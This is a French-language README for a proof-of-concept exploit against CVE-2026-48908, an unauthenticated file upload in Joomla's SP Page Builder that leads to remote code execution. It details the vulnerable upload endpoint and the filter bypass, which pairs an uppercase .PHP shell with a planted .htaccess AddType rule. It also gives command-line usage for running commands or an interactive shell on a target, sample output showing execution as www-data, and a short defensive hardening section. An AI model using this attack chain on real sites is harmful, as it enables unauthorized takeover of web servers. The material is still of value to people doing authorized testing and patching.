
Preuve de concept d'exploitation pour CVE-2026-48908, une RCE non authentifiée dans Joomla SP Page Builder via un téléversement de fichier arbitraire, avec livraison adaptative de la charge utile et nettoyage.
Exploit de preuve de concept pour CVE-2026-48908, une vulnérabilité critique (CVSS 4.0 = 10.0) d'exécution de code à distance sans authentification dans le composant SP Page Builder (com_sppagebuilder) de Joomla, par JoomShaper.
| CVE | CVE-2026-48908 |
| Faiblesse | CWE-284 Improper Access Control → Téléchargement arbitraire de fichier sans authentification → RCE |
| Composant | SP Page Builder (com_sppagebuilder) pour Joomla |
| Versions affectées | 1.0.0 – 6.6.1 |
| Corrigé dans | 6.6.2 |
| Privilèges requis | Aucun (pré-authentification) |
| Interaction utilisateur | Aucune |
SP Page Builder expose la tâche de contrôleur asset.uploadCustomIcon pour gérer le téléchargement d'un pack de polices d'icônes personnalisé :
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
Dans les versions affectées, cette tâche est accessible sans authentification et sans jeton anti-CSRF valide. Elle accepte une archive ZIP (champ multipart custom_icon) et extrait son contenu dans un répertoire accessible publiquement via le web sous la racine du document :
/media/com_sppagebuilder/assets/iconfont/<name>/ (including the fonts/ subfolder)
Comme le téléchargement est accessible avant authentification et que les fichiers extraits atterrissent dans la racine web, un attaquant peut écrire des fichiers qu'il contrôle dans un emplacement consultable et les atteindre via HTTP.
Certaines versions ajoutent un filtre côté serveur sur les noms de fichiers des entrées de l'archive. Ce PoC contourne une implémentation courante de ce filtre grâce à une chaîne en trois étapes :
.php, .phtml, .phar, .php3–.php8, .pht, .inc, … mais il ne normalise pas la casse, donc .PHP (et d'autres variantes à casse mixte) ainsi que .htaccess passent à travers.<FilesMatch "\.php$">) n'exécute que les .php en minuscules, donc un .PHP téléchargé est d'abord servi comme texte source, sans être exécuté..htaccess. Un .htaccess (que la liste noire laisse également passer) contenant AddType application/x-httpd-php .PHP est déposé aux côtés de la charge utile. Là où AllowOverride le permet, cela enregistre .PHP en tant que PHP et le shell téléchargé s'exécute.Le PoC inclut toujours une structure de police d'icônes valide (selection.json, style.css, fonts/<name>.ttf) afin que le téléchargement soit accepté, puis ajoute le shell.
Adaptatif — il parcourt une liste d'extensions exécutables par PHP (empreinte la plus faible d'abord), puis une solution de repli .htaccess, et s'arrête à la première qui exécute réellement du code :
fonts/<shell>.<ext> pour chacune des extensions php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php. Aucun .htaccess. Différents filtres de SP Page Builder bloquent des ensembles différents, et différentes configurations Apache exécutent des extensions différentes — cette étape trouve donc la combinaison que la cible autorise et exécute.fonts/.htaccess + fonts/<shell>.PHP (solution de repli) — uniquement si toutes les tentatives directes échouent. Le .htaccess déposé (AddType … .PHP) force l'exécution d'un .PHP en majuscules là où AllowOverride le permet (c'est ce dont les hôtes de type 5.4.6 ont besoin).Il s'arrête à la première méthode qui exécute du code et affiche laquelle a fonctionné. Chaque téléchargement accepté est suivi, donc --cleanup les supprime tous (plusieurs tentatives peuvent laisser des répertoires en écriture seule).
Selon la version et le durcissement du serveur, le résultat varie, et le PoC l'indique explicitement (voir Résultats ci-dessous) : RCE complet, écriture de fichier uniquement (PHP désactivé /
AllowOverride None), corrigé (admin uniquement), ou non vulnérable.
pip install -r requirements.txt # requests
# confirm the vulnerability and prove code execution (runs `id`)
python3 sppb_rce.py https://target.example
# run a specific command
python3 sppb_rce.py --url target.example -c "uname -a"
# interactive pseudo-shell
python3 sppb_rce.py https://target.example --shell
# only check; run no command
python3 sppb_rce.py https://target.example --check
# remove the uploaded payload directory afterwards
python3 sppb_rce.py https://target.example --cleanup
La cible peut être fournie en argument positionnel ou via --url, avec ou sans schéma.
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
Le PoC vous donne toujours le verdict pour la cible :
| Sortie | Signification | Code de sortie |
|---|---|---|
CODE EXECUTION CONFIRMED via '<method>' | Vulnérable — RCE complet sans authentification | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | Écriture de fichier uniquement (AllowOverride None / PHP désactivé dans /media) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | Corrigé — le téléchargement requiert désormais une authentification admin | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | Non exploitable / composant absent | 2 |
404 à quiconque ne le possède pas — ce n'est pas une porte dérobée ouverte à tous.--cleanup supprime le répertoire de la charge utile qu'il a créé.id, un marqueur arithmétique)./media/, /images/, /tmp) via le pool FPM ou php_admin_flag engine off.AllowOverride None sur ces répertoires afin qu'un .htaccess déposé ne puisse pas réactiver les gestionnaires..php/.PHP inattendus sous media/.../iconfont/, de nouveaux comptes Super Utilisateur et des gestionnaires de fichiers déposés subrepticement.Exploit Joomla SP Page Builder · RCE sans authentification com_sppagebuilder · PoC CVE-2026-48908 · téléchargement arbitraire de fichier asset.uploadCustomIcon · exécution de code à distance Joomla · script d'exploit pour pentest.
Ce logiciel est publié uniquement à des fins éducatives et de tests de sécurité autorisés — par exemple, des tests d'intrusion pour lesquels vous détenez une autorisation écrite, des programmes de bug bounty qui incluent la cible dans leur périmètre, des compétitions CTF et vos propres systèmes de laboratoire.
Accéder à des systèmes informatiques, les modifier ou les perturber sans autorisation est illégal dans la plupart des juridictions. Vous êtes seul et entièrement responsable de vos propres actions. En utilisant, téléchargeant ou distribuant ce code, vous acceptez que :
Si vous n'acceptez pas ces conditions, n'utilisez pas ce logiciel. Comme tout exploit/PoC disponible publiquement, il est partagé de bonne foi pour aider les défenseurs à détecter, comprendre et corriger la vulnérabilité ; ce que vous en faites relève de votre seule responsabilité.
MIT — voir LICENSE.